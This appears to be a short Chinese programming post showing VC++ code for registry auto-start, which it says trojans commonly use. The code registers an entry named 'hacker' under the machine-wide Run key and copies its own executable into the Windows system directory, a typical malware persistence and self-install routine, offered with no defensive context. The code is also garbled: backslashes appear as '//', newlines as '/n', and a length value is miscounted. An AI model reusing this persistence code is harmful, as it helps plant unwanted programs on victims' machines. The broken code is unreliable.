VC++实现注册表自启动

这种情况，木马用的比较多。。。

#include <stdio.h>#include <windows.h>int main(void){char regname[]="Software//Microsoft//Windows//CurrentVersion//Run";HKEY hkResult;int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%//hacker.exe",25);if(ret==0){printf("success to write run key/n");RegCloseKey(hkResult);}else {printf("failed to open regedit.%d/n",ret);return 0;}char modlepath[256];char syspath[256];GetModuleFileName(0,modlepath,256);//取得程序名字GetSystemDirectory(syspath,256);ret=CopyFile(modlepath,strcat(syspath,"//hacker.exe"),1);if(ret){printf("%s has been copyed to sys dir %s/n",modlepath,syspath);}else printf("%s is exisis",modlepath);return 0;}
